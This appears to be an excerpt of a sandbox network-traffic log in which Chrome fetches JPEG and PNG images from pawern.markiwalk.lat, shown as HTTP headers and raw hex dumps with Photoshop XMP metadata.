2024-10-03 16:19:38 UTC	540	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 09 06 07 08 07 06 09 08 08 08 0a 0a 09 0b 0e 17 0f 0e 0d 0d 0e 1c 14 15 11 17 22 1e 23 23 21 1e 20 20 25 2a 35 2d 25 27 32 28 20 20 2e 3f 2f 32 37 39 3c 3c 3c 24 2d 42 46 41 3a 46 35 3b 3c 39 ff db 00 43 01 0a 0a 0a 0e 0c 0e 1b 0f 0f 1b 39 26 20 26 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 ff c0 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 05 06 00 04 07 03 02 01 ff c4 00 3f 10 00 02 01 03 03 02 04 03 05 05 07 02 07 00 00 00 01 02 03 00 04 11 05 12 21 06 31 13 41 51 61 22 71 81 14 23 32 a1 b1 07 42 52 91 c1 Data Ascii: JFIFHHC"##! %*5-%'2( .?/279<<<$-BFA:F5;<9C9& &99999999999999999999999999999999999999999999999999"?!1AQa"q#2BR
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 20 bc 9a 28 ee 58 aa 96 dd d9 40 ce 6b c6 85 78 89 76 90 de 9f bb 42 4a 83 d8 13 eb 4c 1a d6 81 7b a1 de c7 32 46 6f e3 73 b4 f8 6b 82 9e e6 9b 47 48 e9 b7 da 74 6b 34 65 5d 94 32 b2 60 15 6f 5c f9 d2 e3 c4 e3 1f c6 3f 91 5e f6 8a d6 56 71 4a c2 ed 51 53 2b 80 05 0b d5 a5 58 49 dd 80 ab 96 34 7e d3 4f 9f 4f 8f c2 79 da 60 bd db 6e 07 fb 52 4f 54 dd 60 c8 80 f2 ed 8f a5 68 7a 89 35 b6 00 9a 63 2c af 23 77 63 9a f5 0c 98 07 9a a8 cf 5c 7c 57 72 21 8f 97 73 8a 48 94 61 1d 2a d1 b5 5d 4b 71 19 86 23 fc cd 68 bd 38 d1 fd be 48 23 00 84 8b 93 8f 3c 8a 5d d2 ec ff 00 b3 ec a3 82 21 99 e5 ff 00 99 a6 9d 06 d5 6d 6e 02 2f 7f 08 96 3e a7 22 ac 95 22 32 76 c3 58 1b 71 81 50 28 c0 e0 76 af a7 b1 f9 54 3c 60 d7 00 44 fd a1 20 fb 7d 89 ed ba 22 3f 3a 4a 95 36 97 34 ef Data Ascii: (X@kxvBJL{2FoskGHtk4e]2`o\?^VqJQS+XI4~OOy`nROT`hz5c,#wc\\|Wr!sHa*]Kq#h8H#<]!mn/>""2vXqP(vT<`D }"?:J64
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 3c bc 9c 30 07 b8 03 c8 0a 6c bb 02 c3 a5 66 84 b3 19 21 b0 69 49 6e fb a5 3b 47 cb 81 59 df 47 3a 26 b7 69 6d 2c 85 a6 98 93 82 49 0a ab cd 42 69 56 8f 43 05 a5 b3 51 d3 b4 f5 d3 b4 b8 ad e3 8c 2b 84 1b 88 f3 35 c2 e0 1c 8f e2 f4 15 cb a9 7a 9a df 46 05 25 9a d1 1f 68 3e 11 2c 64 03 c8 9c 76 06 a8 e9 3a a2 eb 16 af 35 bb 28 74 c6 f5 07 38 cf bd 74 dd 52 43 c3 76 d9 d3 50 86 3f b3 3b 4f 24 61 3b 12 e7 03 e5 f3 ac f7 5f b3 fb 0b 13 18 dd 13 1d db 40 c1 07 d4 7a 1a 2d a9 5f ea 0f a9 3b c3 12 19 23 c8 8c ce 72 8b 8f 41 ea 7d 68 7d d3 eb 17 ce cb 7b 25 a4 90 e3 9f 05 4f 7a 3a 68 2a ee 8a 31 dc 25 f4 0a ce 72 ff 00 85 c8 e3 3e 87 e7 fe f4 77 a6 2e 5e 0d 5a da 75 7d b7 91 9d aa 47 02 65 fd e4 3f 31 db d0 fc e9 3e d3 ee 6e ae 62 27 85 61 f4 cd 16 b5 94 30 68 df Data Ascii: <0lf!iIn;GYG:&im,IBiVCQ+5zF%h>,dv:5(t8tRCvP?;O$a;_@z-_;#rA}h}{%Oz:h*1%r>w.^Zu}Ge?1>nb'a0h
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: d2 fa 44 3a 16 9f 06 9d 13 87 31 82 64 7c 60 c8 e4 f2 c7 f4 fa 55 30 a6 f6 4f 34 92 d0 66 4e 17 e7 cd 2f ea 47 33 fc 86 68 fc c7 00 d2 fe a3 9f 11 88 ef 8a d3 e8 cc bb 15 fa b7 9b 78 7f cc 68 06 f2 17 1e d4 7b aa bf b9 b7 f7 0c 7f 3a 00 ea 36 a7 7e 45 49 f6 51 17 d0 6f 41 52 bc 5b 31 31 8e f9 f3 a9 4a 31 42 2b 5d 3d a0 dd 2b 95 7a d0 ff 00 67 3a 25 b6 9b a4 3e b0 63 06 e6 eb 22 26 23 94 88 1c 71 e9 93 cf f2 ac 96 19 27 bd b8 82 d6 23 87 9e 55 89 3e 6c 40 1f ad 6f 86 38 ed cd be 9f 0b 62 2b 68 d6 20 08 c6 40 a2 92 bb 44 60 9f b2 dd bb 82 81 e5 e0 01 bd b3 4b ab 26 f7 d4 2f 9d 98 91 17 00 9c 77 3e bf 4a 3f 2c 7e 2c 2f 1a 91 f7 8c 14 91 e9 e7 40 3a 89 7e cd a5 78 31 28 12 4c d9 3f 21 c0 aa 15 8f e0 81 3d b3 df 58 4a 6d b7 bc d3 b3 07 e3 9c 03 ce 4f bf f4 a5 Data Ascii: D:1d\|`U0O4fN/G3hxh{:6~EIQoAR[11J1B+]=+zg:%>c"&#q'#U>l@o8b+h @D`K&/w>J?,~,/@:~x1(L?!=XJmO
2024-10-03 16:19:38 UTC	410	IN	Data Raw: ba c0 cf 8e c0 22 f2 bd f3 de a9 ce 73 70 5f e1 3b 57 03 9f 6a 21 2a 7c 23 b7 6f 6a a3 74 a0 ee f8 41 fa 0a 20 40 9e d7 31 16 18 cb 55 1d 6e ee 34 b7 62 5b b0 fe b5 6a eb e0 92 3d 99 43 b9 bd c7 6f 4a 57 d6 d2 63 b5 9c 13 19 60 3e 1e 47 b7 ca a7 37 4b 45 52 b2 bd b6 e5 b7 bb b9 60 33 e1 13 9c 73 92 4d 74 e9 c8 bc 0d 6d 97 d6 24 3f f6 8a f7 2a e6 ca 48 50 64 3c ab 12 ff 00 88 f9 d7 5b 13 b3 aa a6 8f 18 d9 12 2f e5 52 83 b6 36 45 a2 cf 52 12 64 5e 38 d9 43 46 ef 05 48 a2 7d 46 f8 65 5c 72 57 bd 0f 8d 7e eb 1e d4 cf b2 47 7b 72 06 78 a9 5c d0 1e 71 da a5 70 4d 9a f7 22 dd bc fe 21 c7 d2 94 7a 8e 25 f0 e4 b8 51 b6 4b 75 df 9f e2 5f 31 52 a5 19 06 00 ae 8f bc 77 ea 9b 84 39 c3 58 82 3f fb d3 a1 73 f0 f2 7b 9f d6 a5 4a 96 3f e4 7c 9f d1 ce 42 c7 cf cf d6 aa ce Data Ascii: "sp_;Wj!\|#ojtA @1Un4b[j=CoJWc`>G7KER`3sMtm$?HPd<[/R6ERd^8CFH}Fe\rW~G{rx\qpM"!z%QKu_1Rw9X?s{J?\|B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49807	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:39 UTC	419	OUT	GET /master/us217/prize1.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:19:39 UTC	807	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:39 GMT Content-Type: image/png Content-Length: 70077 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:28:46 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3053 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JeKtyRpxuS7ClHpLmUvpyO6yLBhUuktpB300evAS%2Blo5pW7juSOcidF1G31P9aDj%2FcuAudvBN4uh1%2Ff7E%2FKzv0xJIzI0cgDEggnykrGxpYGtj%2BlwLCROrVJF6QZrCQ7yXDl7duU%2FbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce414b3af7c470-EWR
2024-10-03 16:19:39 UTC	562	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fa 00 00 00 fa 08 03 00 00 00 bf 32 aa 0f 00 00 a0 66 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 38 38 2c 20 32 30 32 30 2f 30 37 2f 31 30 2d 32 32 3a 30 36 3a 35 33 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: PNGIHDR2fiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://w
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 45 76 65 6e 74 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 32 2d 30 34 2d 32 31 54 32 31 3a 34 35 3a 31 33 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 37 3a 31 31 2b 30 35 3a 33 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 37 3a 31 31 2b 30 35 3a 33 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 70 68 6f 74 6f 73 68 6f 70 3a 49 43 43 50 72 6f 66 69 6c 65 3d Data Ascii: Event#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:07:11+05:30" xmp:MetadataDate="2024-09-05T22:07:11+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile=
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 44 35 35 39 39 33 42 38 45 31 46 32 46 31 39 39 46 30 35 37 34 31 43 38 44 32 37 43 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 39 45 35 44 32 39 31 32 44 38 32 36 36 37 41 31 43 32 44 32 33 31 30 38 44 35 37 34 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 44 30 38 39 44 37 41 35 38 41 39 34 41 37 46 41 30 38 41 39 44 31 45 38 43 33 41 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 31 31 39 37 43 36 34 32 44 31 36 42 43 34 35 31 41 36 36 39 41 46 33 45 43 41 37 32 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 41 45 30 43 32 30 38 37 31 31 43 32 34 38 42 38 38 41 39 43 32 37 42 44 30 31 30 42 38 42 3c 2f 72 64 Data Ascii: B</rdf:li> <rdf:li>1AD55993B8E1F2F199F05741C8D27CD6</rdf:li> <rdf:li>1B9E5D2912D82667A1C2D23108D574E5</rdf:li> <rdf:li>1DD089D7A58A94A7FA08A9D1E8C3A9A6</rdf:li> <rdf:li>1F1197C642D16BC451A669AF3ECA722C</rdf:li> <rdf:li>22AE0C208711C248B88A9C27BD010B8B</rd
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 34 30 42 46 41 32 35 42 37 34 44 45 35 35 31 34 39 41 33 41 41 42 31 33 33 46 30 42 34 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 31 34 42 45 30 46 43 46 45 45 41 41 43 46 41 30 31 39 44 36 46 31 38 36 32 45 39 45 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 33 39 34 39 32 41 32 34 30 44 43 39 46 41 34 32 45 36 41 32 45 45 36 45 39 37 34 35 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 35 33 44 43 34 33 35 38 46 39 36 37 43 38 43 32 46 35 38 36 44 39 37 38 38 31 39 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 37 42 44 41 36 43 36 34 31 35 35 38 46 38 43 45 38 45 46 42 45 33 31 31 41 45 42 43 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 43 33 32 Data Ascii: 40BFA25B74DE55149A3AAB133F0B4B39</rdf:li> <rdf:li>4614BE0FCFEEAACFA019D6F1862E9EA5</rdf:li> <rdf:li>4639492A240DC9FA42E6A2EE6E9745E4</rdf:li> <rdf:li>4A53DC4358F967C8C2F586D978819D3E</rdf:li> <rdf:li>4C7BDA6C641558F8CE8EFBE311AEBC8B</rdf:li> <rdf:li>4CC32
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 45 36 37 30 32 44 31 39 44 38 30 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 41 32 46 44 39 46 46 42 31 45 43 38 32 33 37 41 36 33 37 31 37 44 38 30 31 46 39 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 36 30 38 34 45 34 45 42 43 30 37 43 36 42 30 38 36 43 31 43 46 37 38 42 34 36 41 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 41 42 43 38 42 46 32 44 44 37 42 36 31 33 38 38 41 34 37 32 43 30 32 38 32 35 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 38 36 45 44 41 32 37 35 39 39 43 34 46 42 41 38 34 32 34 34 42 41 33 42 46 43 31 33 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 45 43 41 45 38 34 34 41 33 34 43 45 46 38 44 45 38 43 37 33 43 36 Data Ascii: E6702D19D80BB</rdf:li> <rdf:li>709A2FD9FFB1EC8237A63717D801F9E5</rdf:li> <rdf:li>70F6084E4EBC07C6B086C1CF78B46AA1</rdf:li> <rdf:li>70FABC8BF2DD7B61388A472C02825305</rdf:li> <rdf:li>7286EDA27599C4FBA84244BA3BFC13EE</rdf:li> <rdf:li>72ECAE844A34CEF8DE8C73C6
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 44 32 42 35 35 37 34 33 35 31 31 42 33 45 36 31 46 34 46 33 44 35 45 39 35 30 41 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 30 30 42 36 37 35 36 43 38 41 46 35 36 39 39 44 35 43 32 34 31 46 44 46 35 31 43 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 32 42 37 44 34 38 43 42 38 43 46 36 34 39 44 45 39 35 35 44 41 38 41 39 42 46 30 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 42 31 36 30 33 36 41 38 44 41 34 44 38 39 36 37 46 44 46 44 42 46 46 34 36 39 46 30 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 35 41 33 44 34 39 45 46 36 46 30 43 45 45 34 35 33 41 38 41 37 33 37 33 38 31 43 44 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: li> <rdf:li>9CD2B55743511B3E61F4F3D5E950AD80</rdf:li> <rdf:li>9E300B6756C8AF5699D5C241FDF51CFE</rdf:li> <rdf:li>A382B7D48CB8CF649DE955DA8A9BF011</rdf:li> <rdf:li>A3B16036A8DA4D8967FDFDBFF469F06B</rdf:li> <rdf:li>A65A3D49EF6F0CEE453A8A737381CDA9</rdf:li> <
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 33 33 43 43 32 35 38 38 32 42 33 38 36 39 32 46 39 31 43 39 35 43 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 35 33 34 44 38 44 36 30 32 45 38 36 39 38 38 36 42 44 34 45 36 39 37 39 46 38 43 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 32 32 37 30 45 33 35 36 30 34 45 45 41 43 32 37 35 34 45 30 41 32 43 36 30 35 38 46 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 30 39 37 45 30 35 31 41 44 36 36 35 37 44 31 39 41 30 30 36 34 30 37 36 45 45 35 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 38 39 39 41 42 38 39 39 30 30 35 36 33 30 35 36 32 39 33 31 45 31 37 45 30 31 33 36 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 34 43 30 43 38 36 45 31 38 32 Data Ascii: 33CC25882B38692F91C95C95B</rdf:li> <rdf:li>DB534D8D602E869886BD4E6979F8CFD0</rdf:li> <rdf:li>DC2270E35604EEAC2754E0A2C6058F1F</rdf:li> <rdf:li>DE097E051AD6657D19A0064076EE5D0A</rdf:li> <rdf:li>DF899AB899005630562931E17E0136C2</rdf:li> <rdf:li>E24C0C86E182
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 66 36 34 35 34 34 2d 31 35 31 33 2d 31 31 37 38 2d 62 66 37 33 2d 66 34 36 39 32 64 62 66 37 32 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 32 35 32 38 65 61 2d 64 62 38 35 2d 63 66 34 31 2d 39 65 63 66 2d 37 34 32 65 65 36 35 33 38 38 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 35 32 61 32 36 39 2d 35 64 62 63 2d 31 31 37 39 2d 38 63 34 63 2d 39 36 61 66 38 31 66 38 35 63 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 64 63 65 65 37 38 2d 63 30 64 66 2d 31 31 37 37 2d 62 38 35 34 2d 65 31 38 65 30 Data Ascii: f64544-1513-1178-bf73-f4692dbf72a5</rdf:li> <rdf:li>adobe:docid:photoshop:022528ea-db85-cf41-9ecf-742ee65388aa</rdf:li> <rdf:li>adobe:docid:photoshop:0252a269-5dbc-1179-8c4c-96af81f85cc7</rdf:li> <rdf:li>adobe:docid:photoshop:02dcee78-c0df-1177-b854-e18e0
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 33 31 37 64 34 2d 36 35 38 31 2d 62 31 34 31 2d 61 64 38 61 2d 66 64 36 34 66 64 39 35 61 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 30 66 64 39 66 33 36 2d 38 35 66 66 2d 31 31 37 61 2d 61 39 34 39 2d 61 36 31 61 62 37 65 65 30 31 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 30 30 64 62 30 63 2d 62 33 37 31 2d 31 31 37 62 2d 62 37 36 62 2d 66 31 63 33 62 66 62 34 34 35 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 63 65 34 37 64 32 2d 38 37 38 37 2d 31 31 37 61 2d 62 30 34 38 2d 62 32 36 62 36 35 Data Ascii: 317d4-6581-b141-ad8a-fd64fd95a138</rdf:li> <rdf:li>adobe:docid:photoshop:10fd9f36-85ff-117a-a949-a61ab7ee01ff</rdf:li> <rdf:li>adobe:docid:photoshop:1200db0c-b371-117b-b76b-f1c3bfb445c1</rdf:li> <rdf:li>adobe:docid:photoshop:12ce47d2-8787-117a-b048-b26b65
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 32 63 39 35 2d 63 32 36 63 2d 31 31 37 37 2d 62 31 64 33 2d 39 62 35 64 36 62 61 37 34 39 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 30 62 34 63 36 64 63 2d 64 63 62 61 2d 31 31 37 39 2d 62 63 66 38 2d 66 37 38 65 66 33 30 66 35 36 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 31 35 35 30 37 37 64 2d 38 32 65 62 2d 31 31 37 61 2d 39 61 38 63 2d 66 31 39 63 39 33 63 39 36 64 37 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 32 36 35 37 39 63 38 2d 36 64 66 31 2d 39 32 34 65 2d 61 36 64 63 2d 61 38 37 66 30 66 30 Data Ascii: 2c95-c26c-1177-b1d3-9b5d6ba74952</rdf:li> <rdf:li>adobe:docid:photoshop:20b4c6dc-dcba-1179-bcf8-f78ef30f56a3</rdf:li> <rdf:li>adobe:docid:photoshop:2155077d-82eb-117a-9a8c-f19c93c96d7e</rdf:li> <rdf:li>adobe:docid:photoshop:226579c8-6df1-924e-a6dc-a87f0f0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49808	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:39 UTC	414	OUT	GET /master/us217/1.jpg HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:19:39 UTC	801	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:39 GMT Content-Type: image/jpeg Content-Length: 5057 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:29:02 GMT last-modified: Thu, 05 Sep 2024 16:49:30 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3037 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lTVfjFUKVyW9Y9CHid3X5GqpIZ1qHYKBqOGRhU2QlrXKaI%2FzwV8BIR2dWcOtad9q168lC8Ca7lT8EOpr%2B2m5qsxUzgkWkR5hw2wS7hTR3L8aFYasAnOJPIwUNo9Nuhq6%2BTJuN5EqFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce414bfd3b41e6-EWR
2024-10-03 16:19:39 UTC	568	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 09 06 07 08 07 06 09 08 08 08 0a 0a 09 0b 0e 17 0f 0e 0d 0d 0e 1c 14 15 11 17 22 1e 23 23 21 1e 20 20 25 2a 35 2d 25 27 32 28 20 20 2e 3f 2f 32 37 39 3c 3c 3c 24 2d 42 46 41 3a 46 35 3b 3c 39 ff db 00 43 01 0a 0a 0a 0e 0c 0e 1b 0f 0f 1b 39 26 20 26 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 ff c0 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 05 06 00 04 07 03 02 01 ff c4 00 3f 10 00 02 01 03 03 02 04 03 05 05 07 02 07 00 00 00 01 02 03 00 04 11 05 12 21 06 31 13 41 51 61 22 71 81 14 23 32 a1 b1 07 42 52 91 c1 Data Ascii: JFIFHHC"##! %*5-%'2( .?/279<<<$-BFA:F5;<9C9& &99999999999999999999999999999999999999999999999999"?!1AQa"q#2BR
2024-10-03 16:19:39 UTC	1369	IN	Data Raw: 4c 1a d6 81 7b a1 de c7 32 46 6f e3 73 b4 f8 6b 82 9e e6 9b 47 48 e9 b7 da 74 6b 34 65 5d 94 32 b2 60 15 6f 5c f9 d2 e3 c4 e3 1f c6 3f 91 5e f6 8a d6 56 71 4a c2 ed 51 53 2b 80 05 0b d5 a5 58 49 dd 80 ab 96 34 7e d3 4f 9f 4f 8f c2 79 da 60 bd db 6e 07 fb 52 4f 54 dd 60 c8 80 f2 ed 8f a5 68 7a 89 35 b6 00 9a 63 2c af 23 77 63 9a f5 0c 98 07 9a a8 cf 5c 7c 57 72 21 8f 97 73 8a 48 94 61 1d 2a d1 b5 5d 4b 71 19 86 23 fc cd 68 bd 38 d1 fd be 48 23 00 84 8b 93 8f 3c 8a 5d d2 ec ff 00 b3 ec a3 82 21 99 e5 ff 00 99 a6 9d 06 d5 6d 6e 02 2f 7f 08 96 3e a7 22 ac 95 22 32 76 c3 58 1b 71 81 50 28 c0 e0 76 af a7 b1 f9 54 3c 60 d7 00 44 fd a1 20 fb 7d 89 ed ba 22 3f 3a 4a 95 36 97 34 ef fb 45 03 ed 36 3e bb 0f eb 49 b2 0c 12 4f 23 14 ac 75 d1 53 80 00 27 1e c4 d4 a9 22 Data Ascii: L{2FoskGHtk4e]2`o\?^VqJQS+XI4~OOy`nROT`hz5c,#wc\\|Wr!sHa*]Kq#h8H#<]!mn/>""2vXqP(vT<`D }"?:J64E6>IO#uS'"
